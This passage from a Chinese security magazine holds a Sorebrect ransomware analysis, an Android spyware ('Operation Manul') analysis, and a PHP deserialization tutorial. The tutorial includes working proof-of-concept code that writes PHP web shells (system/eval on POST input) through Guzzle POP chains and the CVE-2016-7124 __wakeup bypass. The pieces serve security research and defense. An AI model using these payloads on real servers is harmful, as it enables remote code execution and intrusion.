SQL$MICROSOFT##WID.dbupdate.dbupdatem.DbxSvc.MsDtsServer100.msftesql-Exchange.MSSQL$MICR

OSOFT##SSEE.MSSQL$PROBA.MSSQL$SBSMONITORING.MSSQL$SHAREPOINT.MSSQL$SQL2005.msftesql

$SBSMONITORING.MSSQLFDLauncher.MSSQLFDLauncher$PROBA.MSSQLFDLauncher$SBSMONITORING.

MSSQLFDLauncher$SHAREPOINT.MSSQLSERVER.MSSQLServerADHelper100.SQLAgent$PROBA.SQLAgent

http://p4.qhimg.com/t019075edf330c8a010.png
http://p7.qhimg.com/t01dfac78cc2470e05c.png
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$SBSMONITORING.SQLAgent$SHAREPOINT.SQLBrowser.SQLSERVERAGENT.SQLWriter.CertPropSvc.CertSvc

.DataCollectorSvc.FirebirdServerDefaultInstance.wsbexchange.MSExchangeTransportLogSearch.MSExchan

geTransport.MSExchangeServiceHost.MSExchangeSearch.MSExchangeSA.MSExchangeRepl.MSExchangeP

op3.MSExchangeMonitoring.MSExchangeMailSubmission.MSExchangeMailboxAssistants.MSExchangeIS.

MSExchangeImap4.MSExchangeFDS.MSExchangeEdgeSync.MSExchangeAntispamUpdate.MSExchangeAD

Topology.SPTrace.SPTimerV3.SPWriter.TeamViewer.W3SVC.W32Time.MsDtsServer.MSSQLSERVR.MSSQLSe

rverOLAPService.zBackupAssistService.cbVSCService11.CobianBackup11.postgresql-8.4.spiceworks.Quick

BooksDB23.ShadowProtectSvc.VSNAPVSS.VSS.stc_raw_agent.PleskSQLServer.MySQL56.MSExchangeRep.

NAVSERVER.ZWCService.vmms.vds.sesvc.MSSQL$VEEAMSQL2008R2.SQLAgent$VEEAMSQL2008R2.Veea

m Backup Catalog Data Service.Veeam Backup and Replication Service.VeeamCloudSvc.VeeamTransportSv

c.VeeamCatalogSvc.VeeamDeploymentService.VeeamMountSvc.VeeamNFSSvc.FirebirdGuardianDefaultIns

tance.BackupExecAgentBrowser.BackupExecDeviceMediaService.DLOAdminSvcu.DLOMaintenanceSvc.bed

bg.BackupExecJobEngine.BackupExecManagementService.BackupExecAgentAccelerator.BackupExecRPCS

ervice.MSExchangeADTopology.Browser.WSearch.WseComputerBackupSvc.WseEmailSvc.WseHealthSvc.W

seMediaSvc.WseMgmtSvc.WseNtfSvc.WseStorageSvc.SBOClientAgent.VSS.VSNAPVSS.vmicvss.swprv.Shado

wProtectSvc.SQLWriter.SQLBrowser.SQLAgent$SQLEXPRESS.MSSQL$SQLEXPRESS.MSSQL$MICROSOFT##

WID.EDBSRVR.ComarchAutomatSynchronizacji.ComarchML.ComarchUpdateAgentService.RBMS_OptimaB

I.RBSS_OptimaBI.ServerService.GenetecWatchdog.GenetecServer.GenetecSecurityCenterMobileServer.SQ

LAgent$SQLEXPRESS.SQLBrowser.SQLWriter.MSSQL$SQLEXPRESS.MSSQLServerADHelper100.MSExchange

FBA.eXchange POP3 6.0.bedbg.BackupExecRPCService.BackupExecDeviceMediaService.BackupExecAgent

Browser.BackupExecAgentAccelerator.MsDtsServer100.MSSQLFDLauncher.MSSQLSERVER.MSSQLServerA

DHelper100.MSSQLServerOLAPService.ReportServer.SQLBrowser.SQLSERVERAGENT.SQLWriter.WinVNC4.

KAORCMP999467066507407.dashboardMD Sync.MicroMD AutoDeploy.MicroMD Connection Service.MI

CROMD72ONCOEMR.ONCOEMR2MICROMD7.FBSServer.FBSWorker.cbVSCService11.CobianBackup11.Log

isticsServicesHost800.PRIMAVERAWindowsService.PrimaveraWS800.PrimaveraWS900.TTESCheduleServe

r800.DomainManagerProviderSvc.WSS_ComputerBackupProviderSvc.WSS_ComputerBackupSvc.msftesql

$SBSMONITORING.msftesql-Exchange.MSSQL$ACRONIS.MSSQL$BKUPEXEC.MSSQL$MICROSOFT##SSEE.

MSSQL$SBSMONITORING.MSSQLServerADHelper.MySQL.SQLBrowser.SQLWriter.MSExchangeADTopology.

MSExchangeAntispamUpdate.MSExchangeEdgeSync.MSExchangeFDS.MSExchangeImap4.MSExchangeIS.

MSExchangeMailboxAssistants.MSExchangeMailSubmission.MSExchangeMonitoring.MSExchangePop3.M

SExchangeRepl.MSExchangeSA.MSExchangeSearch.MSExchangeServiceHost.MSExchangeTransport.MSExc

hangeTransportLogSearch.msftesql-Exchange.wsbexchange.Acronis VSS Provider.AcronisAgent.AcronisFS.

AcronisPXE.AcrSch2Svc.AMS.MMS.MSSQL$ACRONIS.StorageNode.PleskControlPanel.PleskSQLServer.ples

ksrv.PopPassD.Apache2.2.Apache2.4.memcached Server.MMS.ARSM.AdobeARMservice.AcrSch2Svc.Acro

nisAgent.CrashPlanService.SPAdminV4.SPSearch4.SPTraceV4.SPWriterV4.Altaro.Agent.exe.Altaro.HyperV.

WAN.RemoteService.exe.Altaro.SubAgent.exe.Altaro.UI.Service.exe.MELCS.MEMTAS.MEPOCS.MEPOPS.M

ESMTPCS.postgresql-9.5 
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除了停止服务外，Sorebrect 程序硬编码了一段 CRC32 的值，如果小写的进程名的 CRC32

值和硬编码的值相同则尝试终止该进程。 

 

 

http://p9.qhimg.com/t018092a486a1c95976.png
http://p5.qhimg.com/t010c77a49441318a52.png
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加密操作 

Sorebrect 会对主机上的文件进行加密，并在 C:\ProgramData 目录下生成密钥，根据提

示信息，受害者想要解密必须将该文件发送给攻击者。 

 

Sorebrect 病毒使用 AES-NI 指令集完成加密。AES-NI 是一个 x86 指令集架构的扩展，

用于 Intel 和 AMD 微处理器，由 Intel 在 2008 年 3 月提出。该指令集的目的是改进应用程序

使用 AES 执行加密和解密的速度。 

http://p6.qhimg.com/t016c78b4abec12c78c.png
http://p4.qhimg.com/t01720cd7a28a4568ae.png
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http://p7.qhimg.com/t01a64a825000877d79.png
http://p0.qhimg.com/t01d8c3288808b06b90.png
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如代码所示，将 EAX 寄存器设置为 0 之后执行 CPUID 指令返回的制造商标识存放在 EBX，

ECX 和 EDX 寄存器中。如果既不是 GenuineIntel 的处理器也不是 AuthenticAMD 的处理器

则认为该处理器不支持 AES-NI 指令集。将 EAX 寄存器设置为 1 之后执行 CPUID 指令通过

ECX 寄存器中的标志位进一步判断处理器是否支持 AES-NI 指令集。 

 

 

 

http://p5.qhimg.com/t01b18c1f6a0d60e7c4.png
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局域网感染 

Sorebrect 在加密操作完成之后，会进一步探测局域网，并通过 IPC$共享的方式来进行

局域网内的感染。 

 

 

http://p5.qhimg.com/t01cb192326d0a951c8.png
http://p5.qhimg.com/t018105b1a3fa57a94c.png
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设置 LegalNoticeCaption 和 LegalNoticeText 注册表项，内容分别为 Microsoft 

Windows Security Center 和 Dear Owner. Bad news: your server was hacked. For more 

information and recommendations, write to our experts by e-mail. When you start 

Windows,Windows Defender works to help protect your PC by scanning for malicious 

or unwanted software. 

系统启动时会弹出这个对话框。 

 

 

 

http://p2.qhimg.com/t01e0226b0c45190615.png
http://p5.qhimg.com/t01210a86fdaf61545c.png
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对抗恢复 2 

删除所有卷影副本。 

  

0x03 防范建议 

重要数据、文件备份 

网络犯罪分子往往使用重要和个人数据的潜在损失作为恐吓手段来强迫受害者支付赎金。

因此公司和个人用户可以备份重要数据、文件以消除其影响力：至少保留三份副本，其中两个

存储在不同的设备中，另一个存储在非现场或安全位置。 

保持系统补丁更新 

确保操作系统和其它应用程序安装了最新的补丁，阻止威胁将安全漏洞用作系统或网络的

门户。 

安装可靠的终端安全防护软件 

http://p5.qhimg.com/t01ebb28cfc3dbd4d74.png
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在保证定期更新补丁的基础上，通过安装可靠的终端安全防护产品来进行进一步的安全防

御。 

 

0x04 时间线 

2017-6-15 趋势科技捕获到病毒并命名为 Sorebrect 

2017-7-7 360CERT 完成对病毒的分析 

 

0x05 参考文档 

http://blog.nsfocus.net/hardware-accelerate-extortion-software-xdata/ 

https://www.cylance.com/en_us/blog/threat-spotlight-aes-ni-aka-sorebrect-rans

omware.html 

https://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-fileless-c

ode-injecting-sorebrect-ransomware/ 

欢迎对本篇文章感兴趣的同学扫描 360cert 公众号二维码，一起交流学习 

 

 

 

  

http://blog.nsfocus.net/hardware-accelerate-extortion-software-xdata/
https://www.cylance.com/en_us/blog/threat-spotlight-aes-ni-aka-sorebrect-ransomware.html
https://www.cylance.com/en_us/blog/threat-spotlight-aes-ni-aka-sorebrect-ransomware.html
https://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-fileless-code-injecting-sorebrect-ransomware/
https://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-fileless-code-injecting-sorebrect-ransomware/
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揭露“Operation Manul”疑似在 Android 端的间谍软件行

为 

作者：AVLTeam 

原文来源：【安天移动】http://blog.avlsec.com/2017/08/4898/spy/  

前言 

去年 8 月份，美国黑帽大会曾公开发表了一篇报告，揭露了名为“Operation Manul”

的组织针对该国相关人士进行的大面积网络攻击和窃听行为，并分析了其在 PC 端使用的窃听

技术及域名。 

通过对报告中披露的多个用做指令控制和文件上传的 C2 Server 域名进行内部检索对比，

安天移动安全联合猎豹移动发现了一批相关恶意样本，分析发现该间谍软件通过伪装成海外知

名应用潜入目标用户手机，在获取权限后会展开一系列窃听行为：私自拍照、录音，并窃取用

户短信、通讯录、地理位置等隐私信息，而后将相关数据上传至远程服务器。 

这是自报告公开以来首次发现“Operation Manul”组织疑似在 Android 平台存在攻击

行为，以下是对我们捕获的安卓端间谍软件的详细分析。 

一、简要分析 

安天移动安全与猎豹移动联合发现的这批间谍软件，皆伪装为海外知名应用并将恶意代码

注入其中，进而对目标用户实施恶意攻击。被伪装的知名应用不乏有即时通讯软件 WhatsApp、

流量加密软件 Orbot 以及互联网代理服务软件 Psiphon 等。 

被植入恶意模块的应用程序包结构如下图所示： 
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二、分析对象说明 

我们发现攻击者在不同的知名应用中所植入的恶意模块几乎完全一致，故选择其中一个样

本进行下述详细分析。分析对象如下： 

 

三、恶意行为分析 

通过 AM 文件可以看到，该间谍软件为了达成窃取短信、通话、录音等用户敏感隐私信

息，注册了大量的 receiver 和相关权限。以下是恶意模块的相关属性： 
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根据程序运行逻辑，整体恶意行为的攻击路线大致分为 3 个步骤： 

Step1 敏感权限获取 

该病毒首先会请求用户给予相应的权限，如调用摄像头、录音、获取地理位置、获取通话

记录和读取短信等权限，为后续窃取目标用户的敏感信息做攻击前准备。 
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而后，该病毒的 Pms 和 Pmscmd 模块会对当前程序是否获得关键权限进行确认。如未获

得相应权限，则再次发起权限申请请求，确保权限到手以进行信息窃取。 
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Step2 执行远控指令 

该病毒的主体恶意行为的执行基本完全依赖于远程服务器所发送的指令。该病毒开机自启

动后立即运行恶意模块，通过 https 接收远程控制服务器发送的控制指令信息。基于指令信息

执行相应的恶意行为，最终实现隐私信息的窃取和代码自我更新的目的。接下来我们对该过程

进行详细介绍。 

ReSeRe 是一个自启动项，用于启动该木马的主要恶意服务 MySe： 
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MySe 为此程序最主要的恶意模块，onCreate 会启动线程 F： 

 

线程 F 包含接收远控命令，解析远控命令，执行恶意行为： 
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远程控制指令中包含了大量用户隐私信息窃取指令，如窃取用户短信、联系人、通话记录、

地理位置、浏览器信息、手机文件信息、网络信息、手机基本信息，私自拍照、录音等等，收

集信息后进而将这些用户敏感数据上传至远程服务器。 

 

step3 执行代码内其他恶意模块 

通过 ReSe 恶意模块对用户环境进行录音： 

 

MyPhRe 主要是监听通话的作用： 
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四、溯源分析 

通过分析，从代码中我们找到了用于通信的 C&C 服务器： 

 

解密上述地址后得到明文 C&C 地址，解密的 key 为 Bar12345Bar12345： 

 

同时，根据该 C&C 服务器的域名，我们在去年黑帽大会发布的报告中发现了相同的域名

地址。原报告盘点了 Operation Manul 在 PC 侧所实施的钓鱼等一系列攻击所使用的服务器

信息（如下图所示），其中包含了 adobeair.net 域名，而这一定程度也印证了我们所捕获的安

卓端病毒源自原报告所指的 Operation Manul 组织的可能性。 
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图注：上图来源于黑帽大会上发布的报告 

使用 whois 对域名 adobeair.net 进行反查后，我们发现了一个疑似开发者的邮箱：

iainhendry@blueyonder.co.uk，其所持有 adobeair.net 域名的时间与原报告提出的攻击时

间吻合。 

同时通过进一步搜索，我们查询到了该邮箱用户开发的用于应用推广的网页

http://www.androidfreeware.net/developer-3195.html。而其中所推广的安卓应用都为其

所开发。因此猜测该邮箱用户应该也是一位具有安卓编程能力的开发者。而这一定程度也与本

文安卓端间谍软件活动的溯源进行了一次关联。 
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五、总结 

近几年，随着智能手机和移动网络在世界范围内的普及，移动端的定向攻击也逐步增多，

并出现和 PC 端进行高度结合的趋势。两者往往相互配合，获取高价值的具有个人身份属性的

信息，成为恶意攻击中的重要一环。与此同时，由于移动设备的边界属性和高社会、高隐私属

性，一旦攻击成功，极有可能导致攻击结果出现雪崩效应，损失不断扩大。本次“Operation 

Manul”攻击事件不仅是一个疑似 PC 端和 Android 端联合攻击的案例，同时也是针对特定

目标人群实施的定向攻击的典型事件。 

而针对高价值用户进行的定向攻击往往是移动威胁对抗中的经典长尾问题。尾部安全事件

由于其受众明确、攻击意图直接、涉及用户重度隐私的特点，往往给目标受害群体带来了不可

比拟的损失。对此安全厂商更需要密切关注并持续提升长尾威胁的对抗能力，真正为用户侧的

移动安全保驾护航。 

附录 

IOC (Android)： 
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【活动】360 安全应急响应中心  
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【安全研究】 

PHP 反序列化漏洞 

作者：Lucifaer@360 攻防实验室 

原文来源：http://bobao.360.cn/learning/detail/4122.html 

0x00 序列化的作用 

（反）序列化给我们传递对象提供了一种简单的方法。 

serialize()将一个对象转换成一个字符串 

unserialize()将字符串还原为一个对象 

反序列化的数据本质上来说是没有危害的 

用户可控数据进行反序列化是存在危害的 

可以看到，反序列化的危害，关键还是在于可控或不可控。 

0x01 PHP 序列化格式 

1. 基础格式 

boolean : 

b:; 

b:1; // True 

b:0; // False 

integer : 

i:; 

i:1; // 1 

i:-3; // -3 

double : 

d:; 

d:1.2345600000000001; // 1.23456（php 弱类型所造成的四舍五入现象） 

NULL : 

N; //NULL 

string : 

s::""; 

s"INSOMNIA"; // "INSOMNIA" 
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array : 

a::{key, value pairs}; 

a{s"key1";s"value1";s"value2";} // array("key1" => "value1", "key2" => "value2") 

2. 序列化举例 : 

test.php 

<?php 

class test 

{ 

    private $flag = 'Inactive'; 

    public function set_flag($flag) 

    { 

        $this->flag = $flag; 

    } 

    public function get_flag($flag) 

    { 

        return $this->flag; 

    } 

} 

我们来生成一下它的序列化字符串 : 

serialize.php 

<?php 

require "./test.php"; 

$object = new test(); 

$object->set_flag('Active'); 

$data = serialize($object); 

file_put_contents('serialize.txt', $data); 

代码不难懂，我们通过生成的序列化字符串，来细致的分析一下序列化的格式： 

: 

O:4:"test":1:{s:10:"testflag";s:6:"Active";} 

O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>} 

3. 注意 

这里有一个需要注意的地方，testflag 明明是长度为 8 的字符串，为什么在序列化中显示

其长度为 10？ 

翻阅 php 官方文档我们可以找到答案： 



  安全客-2017 年季刊-第 3 期 

—365— 
 

 

对象的私有成员具有加入成员名称的类名称;受保护的成员在成员名前面加上'*'。这些前

缀值在任一侧都有空字节。 

 

所以说，在我们需要传入该序列化字符串时，需要补齐两个空字节 : 

O:4:"test":1:{s:10:"%00test%00flag";s:6:"Active";} 

4. 反序列化示例 : 

unserialize.php 

<?php 

$filename = file_get_contents($filename); 

$object = unserialize($filename); 

var_dump($object->get_flag()); 

var_dump($object); 

0x02 PHP（反）序列化有关的魔法函数 

construct(), destruct() 

构造函数与析构函数 

call(), callStatic() 

方法重载的两个函数 

__call()是在对象上下文中调用不可访问的方法时触发 

__callStatic()是在静态上下文中调用不可访问的方法时触发。 

get(), set() 

__get()用于从不可访问的属性读取数据。 

__set()用于将数据写入不可访问的属性。 
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isset(), unset() 

__isset()在不可访问的属性上调用 isset()或 empty()触发。 

__unset()在不可访问的属性上使用 unset()时触发。 

sleep(), wakeup() 

serialize()检查您的类是否具有魔术名 sleep()的函数。如果是这样，该函数在任何序列化

之前执行。它可以清理对象，并且应该返回一个数组，其中应该被序列化的对象的所有变量的

名称。如果该方法不返回任何内容，则将 NULL 序列化并发出 E_NOTICE。sleep()的预期用

途是提交挂起的数据或执行类似的清理任务。此外，如果您有非常大的对象，不需要完全保存，

该功能将非常有用。 

unserialize()使用魔术名 wakeup()检查函数的存在。如果存在，该功能可以重构对象可

能具有的任何资源。wakeup()的预期用途是重新建立在序列化期间可能已丢失的任何数据库

连接，并执行其他重新初始化任务。 

__toString() 

__toString（）方法允许一个类决定如何处理像一个字符串时它将如何反应。 

__invoke() 

当脚本尝试将对象调用为函数时，调用__invoke()方法。 

__set_state() 

__clone() 

__debugInfo() 

0x03 PHP 反序列化与 POP 链 

就如前文所说，当反序列化参数可控时，可能会产生严重的安全威胁。 

面向对象编程从一定程度上来说，就是完成类与类之间的调用。就像 ROP 一样，POP 链

起于一些小的“组件”，这些小“组件”可以调用其他的“组件”。在 PHP 中，“组件”就是这

些魔术方法（__wakeup()或__destruct）。 

一些对我们来说有用的 POP 链方法： 

命令执行 : 

exec() 

passthru() 
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popen() 

system() 

文件操作 : 

file_put_contents() 

file_get_contents() 

unlink() 

2. POP 链 demo 

popdemo.php : 

<?php 

class popdemo 

{ 

    private $data = "demo\n"; 

    private $filename = './demo'; 

    public function __wakeup() 

    { 

        // TODO: Implement __wakeup() method. 

        $this->save($this->filename); 

    } 

    public function save($filename) 

    { 

        file_put_contents($filename, $this->data); 

    } 

} 

上面的代码即完成了一个简单的 POP 链，若传入一个构造好的序列化字符串，则会完成

写文件操作。 

poc.php : 

<?php 

require "./popdemo.php"; 

$demo = new popdemo(); 

file_put_contents('./pop_serialized.txt', serialize($demo)); 

pop_unserialize.php 

 

<?php 

require "./popdemo.php"; 

unserialize(file_get_contents('./pop_serialized.txt')); 
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表面看上去，我们完美的执行了代码的功能，那么我们改一下序列化代码，看一看效果： 

 

改为 : 

O:7:"popdemo":2:{s:13:"popdemodata";s:5:"hack 

";s:17:"popdemofilename";s:6:"./hack";} 

便执行了我们想要执行的效果： 
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3. Autoloading 与（反）序列化威胁 

PHP 只能 unserialize()那些定义了的类 

传统的 PHP 要求应用程序导入每个类中的所有类文件，这样就意味着每个 PHP 文件需要

一列长长的 include 或 require 方法，而在当前主流的 PHP 框架中，都采用了 Autoloading

自动加载类来完成这样繁重的工作。 

在完善简化了类之间调用的功能的同时，也为序列化漏洞造成了便捷。 

举个例子： 

目录结构为下： 

 

index.php : 
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<?php 

class autoload 

{ 

    public static function load1($className) 

    { 

        if (is_file($className.'.php')) 

        { 

            require $className.'.php'; 

        } 

    } 

    public static function load2($className) 

    { 

        if (is_file('./app/'.$className.'.php')) 

        { 

            require './app/'.$className.'.php'; 

        } 

    } 

    public static function load3($className) 

    { 

        if (is_file('./lib/'.$className.'.php')) 

        { 

            require './lib/'.$className.'.php'; 

        } 

    } 

} 

spl_autoload_register('autoload::load1()'); 

spl_autoload_register('autoload::load2()'); 

spl_autoload_register('autoload::load3()'); 

$test1 = new test1(); 

$test2 = new test2(); 

$test3 = new test3(); 

 

test1.php : 

<?php 

class test1 

{ 

    private $test1_data = 'test1_data'; 
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    private $test1_filename = './test1_demo.txt'; 

    public function __construct() 

    { 

        $this->save($this->test1_filename); 

    } 

    public function save($test1_filename) 

    { 

        file_put_contents($test1_filename, $this->test1_data); 

    } 

} 

 

其余的 test2 和 test3 和 test1 的内容类似。 

运行一下 index.php： 

 

可以看到已经自动加载类会自动寻找已经注册在其队列中的类，并在其被实例化的时候，

执行相关的操作。 

若想了解更多关于自动加载类的资料，请查阅 spl_autoload_register 

4. Composer 与 Autoloading 

说到了 Autoloader 自动加载类，就不得不说一下 Composer 这个东西了。Composer

是 PHP 用来管理依赖（dependency）关系的工具。你可以在自己的项目中声明所依赖的外

部工具库（libraries），Composer 会帮你安装这些依赖的库文件。 

经常搭建框架环境的同学应该对这个非常熟悉了，无论是搭建一个新的 Laravel 还是一个

新的 Symfony，安装步骤中总有一步是通过 Composer 来进行安装。 

比如在安装 Laravel 的时候，执行 composer global require "laravel/installer"就可以

搭建成以下目录结构的环境： 
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其中已经将环境所需的依赖库文件配置完毕，正是因为 Composer 与 Autuoloading 的

有效结合，才构成了完整的 POP 数据流。 

0x04 反序列化漏洞的挖掘 

1. 概述 

通过上面对 Composer 的介绍，我们可以看出，Composer 所拉取的依赖库文件是一个

框架的基础。 

而 Composer 默认是从 Packagist 来下载依赖库的。 

所以我们挖掘漏洞的思路就可以从依赖库文件入手。 

目前总结出来两种大的趋势，还有一种猜想： 

1.从可能存在漏洞的依赖库文件入手 

2.从应用的代码框架的逻辑上入手 
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3.从 PHP 语言本身漏洞入手 

接下来逐个的介绍一下。 

2. 依赖库 

以下这些依赖库，准确来说并不能说是依赖库的问题，只能说这些依赖库存在我们想要的

文件读写或者代码执行的功能。而引用这些依赖库的应用在引用时并没有完善的过滤，从而产

生漏洞。 

cartalyst/sentry 

cartalyst/sentinel 

寻找依赖库漏洞的方法，可以说是简单粗暴： 

首先在依赖库中使用 RIPS 或 grep 全局搜索__wakeup()和__destruct() 

从最流行的库开始，跟进每个类，查看是否存在我们可以利用的组件（可被漏洞利用的操

作） 

手动验证，并构建 POP 链 

利用易受攻击的方式部署应用程序和 POP 组件，通过自动加载类来生成 poc 及测试漏洞。 

以下为一些存在可利用组件的依赖库： 

任意写 

monolog/monolog(<1.11.0) 

guzzlehttp/guzzle 

guzzle/guzzle 

任意删除 

swiftmailer/swiftmailer 

拒绝式服务(proc_terminate()) 

symfony/process 

下面来举一个老外已经说过的经典例子，来具体的说一下过程。 

例子 

1. 寻找可能存在漏洞的应用 

存在漏洞的应用：cartalyst/sentry 

漏洞存在于：/src/Cartalyst/Sentry/Cookies/NativeCookie.php : 
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... 

  public function getCookie() 

  { 

     ... 

     return unserialize($_COOKIE[$this->getKey()]); 

     ... 

  } 

} 

 

应用使用的库中的可利用的 POP 组件：guzzlehttp/guzzle 

寻找 POP 组件的最好方式，就是直接看 composer.json 文件，该文件中写明了应用需要

使用的库。  

{ 

    "require": { 

    "cartalyst/sentry": "2.1.5", 

    "illuminate/database": "4.0.*", 

    "guzzlehttp/guzzle": "6.0.2", 

    "swiftmailer/swiftmailer": "5.4.1" 

  } 

} 

 

2. 寻找可以利用的 POP 组件 

我们下载 guzzlehttp/guzzle 这个依赖库，并使用 grep 来搜索一下__destruct()和

__wakeup() 

 

逐个看一下，在/guzzle/src/Cookie/FileCookieJar.php 发现可利用的 POP 组件： 

 

跟进看一下 save 方法： 
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存在一下代码，造成任意文件写操作 : 

if (false === file_put_contents($filename, $jsonStr)) 

注意到现在$filename 可控，也就是文件名可控。同时看到$jsonStr 为上层循环来得到的

数组经过 json 编码后得到的，且数组内容为$cookie->toArray()，也就是说如果我们可控

$cookie->toArray()的值，我们就能控制文件内容。 

如何找到$cookie 呢？注意到前面 

 

跟进父类，看到父类 implements 了 CookieJarInterface 

 

还有其中的 toArray 方法 

 

很明显调用了其中的 SetCookie 的接口： 

 

看一下目录结构： 
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所以定位到 SetCookie.php： 

 

可以看到，这里只是简单的返回了 data 数组的特定键值。 

3. 手动验证，并构建 POP 链 

首先我们先在 vm 中写一个 composer.json 文件 : 

{ 

    "require": { 

        "guzzlehttp/guzzle": "6.0.2" 

    } 

} 

接下来安装 Composer : 

$ curl -sS https://getcomposer.org/installer | php 

然后根据 composer.json 来安装依赖库 : 

$ php composer.phar install 

 

接下来，我们根据上面的分析，来构造 payload： 

payload.php : 

<?php 

        require __DIR__.'/vendor/autoload.php'; 

        use GuzzleHttp\Cookie\FileCookieJar; 
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        use GuzzleHttp\Cookie\SetCookie; 

        $obj = new FileCookieJar('./shell.php'); 

        $payload = '<?php echo system($_POST[\'poc\']);?>'; 

        $obj->setCookie(new SetCookie([ 

                'Name' => 'lucifaer', 

                'Value' => 'test_poc', 

                'Domain' => $paylaod, 

                'Expires' => time() 

        ])); 

        file_put_contents('./build_poc', serialize($obj)); 

 

我们执行完该脚本，看一下生成的脚本的内容： 

 

我们再写一个反序列化的 demo 脚本 : 

<?php 

    require __DIR__.'/vendor/autoload.php'; 

    unserialize(file_get_contents("./build_poc")); 

运行后，完成任意文件写操作。至此，我们可以利用生成的序列化攻击向量来进行测试。 

3. PHP 语言本身漏洞 

提到这一点就不得不说去年的 CVE-2016-7124，同时具有代表性的漏洞即为 SugarCRM 

v6.5.23 PHP 反序列化对象注入。 

在这里我们就不多赘述 SugarCRM 的这个漏洞，我们来聊一聊 CVE-2016-7124 这个漏

洞。 

触发该漏洞的 PHP 版本为 PHP5 小于 5.6.25 或 PHP7 小于 7.0.10。 

漏洞可以简要的概括为：当序列化字符串中表示对象个数的值大于真实的属性个数时会跳

过__wakeup()的执行。 

我们用一个 demo 来解释一下。 



  安全客-2017 年季刊-第 3 期 

—378— 
 

例子 : 

<?php 

class Test 

{ 

   private $poc = ''; 

   public function __construct($poc) 

   { 

       $this->poc = $poc; 

   } 

   function __destruct() 

   { 

       if ($this->poc != '') 

       { 

           file_put_contents('shell.php', '<?php eval($_POST[\'shell\']);?>'); 

           die('Success!!!'); 

       } 

       else 

       { 

           die('fail to getshell!!!'); 

       }         

   } 

   function __wakeup() 

   { 

       foreach(get_object_vars($this) as $k => $v) 

       { 

           $this->$k = null; 

       } 

       echo "waking up...\n"; 

   } 

} 

$poc = $_GET['poc']; 

if(!isset($poc)) 

{ 

   show_source(__FILE__); 

   die(); 

} 

$a = unserialize($poc); 
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代码很简单，但是关键就是需要再反序列化的时候绕过__wakeup 以达到写文件的操作。 

根据 cve-2016-7124 我们可以构造一下我们的 poc : 

<?php 

class Test 

    { 

        private $poc = ''; 

        public function __construct($poc) 

        { 

            $this->poc = $poc; 

        } 

        function __destruct() 

        { 

            if ($this->poc != '') 

            { 

                file_put_contents('shell.php', '<?php eval($_POST[\'shell\']);?>'); 

                die('Success!!!'); 

            } 

            else 

            { 

                die('fail to getshell!!!'); 

            }         

        } 

        function __wakeup() 

        { 

            foreach(get_object_vars($this) as $k => $v) 

            { 

                $this->$k = null; 

            } 

            echo "waking up...\n"; 

        } 

    } 

$a = new Test('shell'); 

$poc = serialize($a); 

print($poc); 

运行该脚本，我们就获得了我们 poc 
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通上文所说道的，在这里需要改两个地方： 

将 1 改为大于 1 的任何整数 

将 Testpoc 改为%00Test%00poc 

传入修改后的 poc，即可看到： 

 

写文件操作执行成功。 

0x05 拓展思路 

1. 抛砖引玉——魔法函数可能造成的威胁 

刚刚想到这一点的时候准备好好研究一下，没想到 p 师傅第二天小密圈就放出来这个话

题了。接下来顺着这个思路，我们向下深挖一下。 

__toString() 

经过上面的总结，我们不难看出，PHP 中反序列化导致的漏洞中，除了利用 PHP 本身的

漏洞以外，我们通常会寻找__destruct、__wakeup、__toString 等方法，看看这些方法中是

否有可利用的代码。 
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而由于惯性思维，__toString 常常被漏洞挖掘者忽略。其实，当反序列化后的对象被输出

在模板中的时候（转换成字符串的时候），就可以触发相应的漏洞。 

__toString 触发条件： 

echo ($obj) / print($obj) 打印时会触发 

字符串连接时 

格式化字符串时 

与字符串进行==比较时（PHP 进行==比较的时候会转换参数类型） 

格式化 SQL 语句，绑定参数时 

数组中有字符串时 

我们来写一个 demo 看一下 

toString_demo.php : 

<?php 

class toString_demo 

{ 

    private $test1 = 'test1'; 

    public function __construct($test) 

    { 

        $this->test1 = $test; 

    } 

    public function __destruct() 

    { 

        // TODO: Implement __destruct() method. 

        print "__destruct:"; 

        print $this->test1; 

        print "\n"; 

    } 

    public function __wakeup() 

    { 

        // TODO: Implement __wakeup() method. 

        print "__wakeup:"; 

        $this->test1 = "wakeup"; 

        print $this->test1."\n"; 

    } 

    public function __toString() 
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    { 

        // TODO: Implement __toString() method. 

        print "__toString:"; 

        $this->test1 = "tosTRING"; 

        return $this->test1."\n"; 

    } 

} 

$a = new toString_demo("demo"); 

$b = serialize($a); 

$c = unserialize($b); 

//print "\n".$a."\n"; 

//print $b."\n"; 

print $c; 

执行结果为下： 

 

通过上面的测试，可以总结以下几点： 

echo ($obj) / print($obj) 打印时会触发 

__wakeup 的优先级>__toString>__destruct 

每执行完一个魔法函数， 

接下来从两个方面继续来深入： 

字符串操作 

魔术函数的优先级可能造成的变量覆盖 

字符串操作 

字符串拼接： 

在字符串与反序列化后的对象与字符串进行字符串拼接时，会触发__toString 方法。 
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字 

符串函数： 

经过测试，当反序列化后的最想在经过 php 字符串函数时，都会执行__toString 方法，

从这一点我们就可以看出，__toString 所可能造成的安全隐患。 

下面举几个常见的函数作为例子（所使用的类还是上面给出的 toString_demo 类）： 
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数组操作 

将反序列化后的对象加入到数组中，并不会触发__toString 方法： 
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但是在 in_array()方法中，在数组中有__toString 返回的字符串的时候__toString 会被调

用： 
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class_exists 

从 in_array()方法中，我们又有了拓展性的想法。我们都知道，在 php 底层，类似于

in_array()这类函数，都属于先执行，之后返回判断结果。那么顺着这个想法，我想到了去年

的 IPS Community Suite <= 4.1.12.3 Autoloaded PHP 远程代码执行漏洞，这个漏洞中有

一个非常有意思的触发点，就是通过 class_exists 造成相关类的调用，从而触发漏洞。 

通过测试，我们发现了，如果将反序列化后的对象带入 class_exists()方法中，同样会造

成__toString 的执行： 
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2. 猜想——对象处理过程可能出现的威胁 

通过 class_exists 可能触发的危险操作，继续向下想一下，是否在对象处理过程中也有可

能存在漏洞呢？ 

还记的去年爆出了一个 PHP GC 算法和反序列化机制释放后重用漏洞，是垃圾回收机制

本身所出现的问题，在释放与重用的过程中存在的问题。 

顺着这个思路，大家可以继续在对象创建、对象执行、对象销毁方面进行深入的研究。 

0x06 PHPggc 

在 0x04 的第二节中，我们提到了 cms 在引用某些依赖库时，可能存在（反）序列化漏

洞。那么是否有工具可以生成这些通用型漏洞的测试向量呢？ 

当然是存在的。在 github 上我们找到了 PHPggc 这个工具，它可以快速的生成主流框架

的序列化测试向量。 

